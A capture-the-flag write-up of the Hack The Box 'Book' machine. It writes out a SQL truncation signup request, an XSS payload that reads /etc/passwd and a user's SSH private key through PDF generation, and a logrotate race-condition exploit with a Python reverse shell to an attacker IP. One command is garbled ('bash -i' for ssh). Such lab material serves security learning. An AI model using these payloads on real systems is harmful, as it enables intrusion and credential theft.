Hackthebox - Book Writeup
Nmap Scan
nmap -sC -sV -sS -oN nmap.out book.htb
Open ports:
- 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Enumeration
Web
Going to the webpage, we find a login prompt. We sign up for an accound and login.
There is a section called “Collections” where we can submit a book. Seems like we can upload a file to the server. We try uploading a php-web-shell and succeed. But we dont know the location where the submission is stored yet.
From the “Contact us” option, we find the admin email account:
admin@book.htb
Gobuster fuzzing
gobuster dir -u http://book.htb/ -w /usr/share/wordlists/dirb/common.txt
We find a folder /doc, which might contain our uploaded file. But we cannot access it yet. We also see a /admin page.
/doc
Going to the home page of the site after logging in, we find some pdf
files describing flowers. These can be downloaded and are named in the
format 1.pdf
. From a hunch, we try the url
http://book.htb/1.pdf and we do in fact get the same pdf file. So the
pdf files are stored in the /doc folder.
So /doc should be where our submissions go. But trying to open our submission going to the url http://book.htb/docs/php-reverse-shell.php shows a 404. So either our file was not uploaded or its name was changed.
/admin login
Going over to /admin page, we find a login prompt similar to the previous one found, but this one shows for authorized people only.
We try logging in with our created account but fail.(duh!)
admin account - SQL truncation attack
Looking at the source of the signup page, we find something interesting
function validateForm() {
var x = document.forms["myForm"]["name"].value;
var y = document.forms["myForm"]["email"].value;
if (x == "") {
alert("Please fill name field. Should not be more than 10 characters");
return false;
}if (y == "") {
alert("Please fill email field. Should not be more than 20 characters");
return false;
}
So this script shows that our inputs in the fields should be limited by the set number of characters. What if we give a longer input? It will get truncated. This is known as SQL Truncation Attack
So if we create an account with a name like
"admin hello"
, the script will truncate all characters
after the 10th. And so our name becomes admin, and we could run admin on
the site. The form must allow spaces in the name for this. We check for
that and find that we can in fact input spaces.
Now, we try creating our admin account. The signup page seems to perform a client side email validation. To bypass that, we craft our request using burp. We intercept a signup request and edit that as per our needs. Our crafted http request stands
POST /index.php HTTP/1.1
Host: book.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://book.htb/index.php
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 61
name=admin+++++a&email=admin%40book.htb++++++a&password=hello
We have URL encoded the params after adding necessary number of spaces. Now we send the POST request and try logging in with the admin account with our set password. And we succeed.
File upload
Now, logged in as admin, we can view the collections files stored in a pdf file with links to the files. Submitting our php-web-shell, we do not see
that in our collections, so it was not uploaded. We are only allowed to upload pdf files. We upload a random pdf file and download the collections pdf. We see that our included pdf is listed with a number. So our upload gets renamed by a number.
Another thing we notice is that the pdf is dynamically generated each time we request for a download. This dynamic generation of the pdf file can be exploited using XSS since we control the input filename. It took me quite a long time to fine this. This can be used to read local files. This has been explained here.
So in order to exploit the XSS, we input the following script as the “Book Title” and enter any random pdf file
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Then we download the collections pdf from the admin page and see the /etc/passwd file 79101.pdf
We find a user named reader
Privilege Escalation - User
Getting id_rsa of user
Since we can read any local files, lets try reading the id_rsa of the found user “reader” at /home/reader/.ssh/id_rsa.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
And we get the private key. We can use this for ssh login to the user account.
pdf2txt conversion
The key if copied from the pdf to a file, is not in the correcto id_rsa format. To convert the pdf to txt, we use a python tool called pdfminer.six
We install it using
sudo apt install python3-pdfminer
pip install pdfminer.six
Then, we convert the pdf to txt and do some editing in spaces to get the correct format id_rsa.
python3 /usr/local/bin/pdf2txt.py 64757.pdf>id_rsa
SSH login with id_rsa
We change the permissions of the id_rsa
chmod 600 id_rsa
And then we login to the machine as user reader
bash -i id_rsa reader@book.htb
And we get the shell of the user. And we can read the user.txt
Privilege Escalation - root
Enumeration
linpeas.sh gives us some interesting info about system timers
We find a timer named book.timer that seems to run at an interval of 1m.
To see what the timer executes, we run pspy64 to monitor the processes. And get what commands the timer runs.
/usr/sbin/logrotate -f /root/log.cfg
/bin/sh /root/log.sh
sleep 5
The timer seems to run logrotate
logrotate race condition exploit
“Log rotation” refers to the practice of archiving an application’s current log, starting a fresh log, and deleting older logs. Googling around we find that logrotate is vulnerable to a race condition.
This working of this exploit is described fully at feedyourhead. A PoC can be found on github by whotwanger. We can use this PoC for our case.
As per the instructions, we execute the follwing :
- We download the c file to our target and compile it. Next we create our payload containing our reverse shell. We need to background the shell, otherwise we will not get a stable shell. Next we run the compiled source with required args.
wget http://10.10.15.237:8000/logrotten.c
gcc -o logrotten logrotten.c
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.237",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
./logrotten -d -p ./payloadfile /home/reader/backups/access.log
- Next we need to write some random contents to the access.log file in
backups. This necessary because the log file is not rotated if the file
is empty and the
notifempty
parameter is set in the conf file. It is safe to write a big amount of junk into the logfile in case thesize
parameter is set in the conf file for logrotate, in which case, the rotation will only occur when the logfile gets larger than the sepcified size.
echo hello > access.log
- We fire up a nc listener on our host
nc -lnvp 1234
And we get a root shell. We can now read our root.txt file.
PS: The root shell will only be active for a short time. So the commands need to be executed fast. After a short time, the shell exists but the tty cannot be accessed anymore and you will get an error:
/bin/sh: 3: Cannot set tty process group (Inappropriate ioctl for device)
/bin/sh: 3: Cannot set tty process group (Inappropriate ioctl for device)
The reason this happens, according to my guess, is that when our payload gets executed as root, the shell opens as interactive tty. But a while later, the child process id disconnected from the tty. So we see a zombie shell.
Resources
- https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://support.rackspace.com/how-to/understanding-logrotate-utility/
- https://github.com/whotwagner/logrotten
- https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
- https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges